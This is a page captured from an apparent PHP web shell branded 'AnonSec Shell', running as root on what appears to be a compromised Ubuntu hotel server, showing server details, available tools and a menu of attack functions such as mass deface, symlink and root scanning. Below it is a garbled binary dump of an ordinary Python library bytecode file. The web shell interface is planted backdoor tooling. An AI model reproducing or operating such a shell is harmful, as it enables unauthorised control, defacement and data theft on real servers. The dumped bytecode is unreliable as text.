AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/attr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/attr/__pycache__/converters.cpython-310.pyc
o

��`��@sndZddlmZmZmZddlmZddlmZm	Z	m
Z
es&ddlZddlZgd�Z
dd	�Zedfd
d�ZdS)z
Commonly useful converters.
�)�absolute_import�division�print_function�)�PY2)�NOTHING�Factory�pipeN)r	�optional�default_if_nonec	s��fdd�}tsLd}zt���}WnttfyYnw|rLt|j���}|r<|djtj	j
ur<tj|dj|j
d<|jtjj
urLtj|j|j
d<|S)aO
    A converter that allows an attribute to be optional. An optional attribute
    is one which can be set to ``None``.

    Type annotations will be inferred from the wrapped converter's, if it
    has any.

    :param callable converter: the converter that is used for non-``None``
        values.

    .. versionadded:: 17.1.0
    cs|durdS�|�S�N���val��	converterr
�1/usr/lib/python3/dist-packages/attr/converters.py�optional_converter%sz$optional.<locals>.optional_converterNrr�return)r�inspect�	signature�
ValueError�	TypeError�list�
parameters�values�
annotation�	Parameter�empty�typing�Optional�__annotations__�return_annotation�	Signature)rr�sig�paramsr
rrr
s&�
�
�r
csx�tur|durtd���tur|durtd��|dur t|��t�t�r4�jr,td���fdd�}|S�fdd�}|S)a�
    A converter that allows to replace ``None`` values by *default* or the
    result of *factory*.

    :param default: Value to be used if ``None`` is passed. Passing an instance
       of `attr.Factory` is supported, however the ``takes_self`` option
       is *not*.
    :param callable factory: A callable that takes no parameters whose result
       is used if ``None`` is passed.

    :raises TypeError: If **neither** *default* or *factory* is passed.
    :raises TypeError: If **both** *default* and *factory* are passed.
    :raises ValueError: If an instance of `attr.Factory` is passed with
       ``takes_self=True``.

    .. versionadded:: 18.2.0
    Nz(Must pass either `default` or `factory`.z5Must pass either `default` or `factory` but not both.z1`takes_self` is not supported by default_if_none.cs|dur|S���Sr)�factoryr��defaultr
r�default_if_none_converterasz2default_if_none.<locals>.default_if_none_convertercs|dur|S�Srr
rr'r
rr)is)rrr�
isinstance�
takes_selfr)r(r&r)r
r'rr>s"�
��r)�__doc__�
__future__rrr�_compatr�_makerrr	rr�__all__r
rr
r
r
r�<module>s'

Anon7 - 2022
AnonSec Team